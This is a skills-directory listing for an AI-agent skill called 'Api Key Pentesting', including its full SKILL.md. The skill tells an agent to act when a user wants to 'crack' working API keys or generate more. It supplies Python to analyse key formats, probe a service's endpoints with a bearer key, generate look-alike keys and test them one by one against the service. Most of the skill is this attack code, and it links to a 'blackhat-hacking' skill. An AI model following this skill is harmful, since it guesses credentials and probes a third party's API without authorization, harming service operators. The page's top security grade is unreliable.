Skills DirectorySkills Directory
SkillsLearnSecurityCategoriesDocsCommunityBlog
Sign InSubmit Skill
Skills Directory

Security-tested agent skills for Claude, coding agents, and AI workflows.

Directory

  • Browse Skills
  • All Skills A–Z
  • Claude Skills
  • Claude Code Skills
  • Agent Skills
  • Categories
  • Submit a Skill

Learn

  • Learn Hub
  • Install Claude Skills
  • Write SKILL.md
  • Skills vs MCP
  • Directories Compared

Security

  • Security
  • Methodology
  • Secure Claude Skills
  • Security Badges

Company

  • About
  • Community
  • Blog
  • API Docs
  • Advertise

2026 Skills Directory. All rights reserved.

Back to skills

Api Key Pentesting

ASecurity

Reverse-engineer API key algorithms and test security.

2 stars
0 votes
0 copies
0 views
Added 9/19/2026
securitypythongosqltestinggitapidatabasesecurity

Works with

api

Security Analysis

A100/100

Scanned 9/19/2026

Install to Claude Code

$npx -y skills add harezadmm/hermes-brutal-mod --skill api-key-pentesting --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Api Key Pentesting?

Add the live security badge to your README — it updates automatically with every re-scan.

Security grade badge for Api Key Pentesting
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/harezadmm-api-key-pentesting-hermes-brutal-mod/badge)](https://www.skillsdirectory.com/skills/harezadmm-api-key-pentesting-hermes-brutal-mod)

More formats (shields.io, HTML) on the badges page.

Download Zip
Files
SKILL.md
---
name: api-key-pentesting
description: Reverse-engineer API key algorithms and test security.
version: 1.0.0
tags: [pentesting, api-security, key-analysis, endpoint-discovery]
related_skills: [blackhat-hacking, sqlmap]
---

# API Key Pentesting

Systematic approach to analyze, reverse-engineer, and test API key generation systems for security vulnerabilities.

## When to Use

Trigger when user:
- Provides working API keys and asks to "crack" or generate more
- Wants to pentest an API gateway or router service
- Asks to identify key generation algorithm
- Needs to test endpoint security and validation

## Step 1: Key Pattern Analysis

Given working and expired keys, analyze generation pattern:

```python
import secrets
from collections import Counter

keys = [
    "lv-8XY2cjOC4ziGFrznSHo8yvXqdDmlh9Yk",  # working
    "lv-9lBj0zjlN4kGuudnq1qU1UWbLrT9FRy9",  # expired
]

for key in keys:
    prefix = key[:3]
    body = key[3:]
    print(f"Prefix: {prefix}, Length: {len(body)}")
    print(f"  Upper: {sum(1 for c in body if c.isupper())}")
    print(f"  Lower: {sum(1 for c in body if c.islower())}")
    print(f"  Digits: {sum(1 for c in body if c.isdigit())}")
    print(f"  Special: {[c for c in body if not c.isalnum()]}")
```

### Common Algorithms

| Pattern | Algorithm | Example |
|---------|-----------|---------|
| 32 chars, a-zA-Z0-9-_ | `secrets.token_urlsafe(24)` | `lv-8XY2cjOC4ziGFrznSHo8yvXqdDmlh9Yk` |
| 32 chars, 0-9a-f | `secrets.token_hex(16)` | `api-3f8a9c2b1e5d4f7a9c8b1e3d5f7a9c2b` |
| 36 chars with `-` | `uuid.uuid4()` | `550e8400-e29b-41d4-a716-446655440000` |

## Step 2: Endpoint Discovery

```python
import requests

base_url = "https://router.example.com"
test_key = "lv-WORKING-KEY"

endpoints = [
    "/api/v1/models",
    "/api/keys/generate",
    "/api/keys/create",
    "/register",
    "/api/auth/login",
]

for endpoint in endpoints:
    r = requests.get(f"{base_url}{endpoint}",
                    headers={"Authorization": f"Bearer {test_key}"},
                    timeout=10)
    if r.status_code != 404:
        print(f"✅ {endpoint}: {r.status_code}")
```

## Step 3: Test Working Key

```python
response = requests.get(
    f"{base_url}/api/v1/models",
    headers={"Authorization": f"Bearer {working_key}"}
)

if response.status_code == 200:
    data = response.json()
    models = [m['id'] for m in data.get('data', [])]
    print(f"✅ Valid - {len(models)} models available")
```

## Step 4: Generate Format-Matched Keys

```python
def generate_key():
    body = secrets.token_urlsafe(24)  # 24 bytes → ~32 chars
    return f"lv-{body}"

candidates = [generate_key() for _ in range(30)]
```

## Step 5: Validate Generated Keys

```python
import time

for i, key in enumerate(candidates, 1):
    r = requests.get(f"{base_url}/api/v1/models",
                    headers={"Authorization": f"Bearer {key}"})
    
    status = "✅ WORKING" if r.status_code == 200 else "❌ Invalid"
    print(f"[{i:2}/30] {status}")
    time.sleep(1)  # Rate limiting
```

## Expected Results

- **~0%** success rate for cryptographically secure keys
- Server validates against database, not format
- For working keys: use dashboard access or authenticated API

## Pitfalls

1. **Format match ≠ working key** - Database validation required
2. **Rate limiting** - Use 1 req/sec delay
3. **Brute force impractical** - 62^32 combinations

Attribution

harezadmmharezadmm
View sourceMore from harezadmm →
SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

Comments (0)

No comments yet. Be the first to comment!

SSkills DirectorySkills Directory

Ship a skill? Prove it's safe.

Free 120-pattern security scan, letter grade, and an embeddable README badge.

Submit a skill

Related Skills

Springboot Security

Java Spring Boot 服务中关于身份验证/授权、验证、CSRF、密钥、标头、速率限制和依赖安全的 Spring Security 最佳实践。

2456590 votes

Security Review

Use this skill when adding authentication, handling user input, working with secrets, creating API endpoints, or implementing payment/sensitive features. Provides comprehensive security checklist and patterns.

2456590 votes

Summarize Status

Write a short, colloquial summary for a Paperclip summary slot: open with the 1–3 specific, concrete actions the reader needs to take right now to unblock the work, then a brief plain-language status, streaming progress as it works.

798220 votes

Paperclip Task Bridge

Create, comment on, update, and list Paperclip tasks from Hermes using scoped Paperclip API credentials.

798220 votes

V3 Security Overhaul

Complete security architecture overhaul for claude-flow v3. Addresses critical CVEs (CVE-1, CVE-2, CVE-3) and implements secure-by-default patterns. Use for security-first v3 implementation.

701370 votes
View all in security →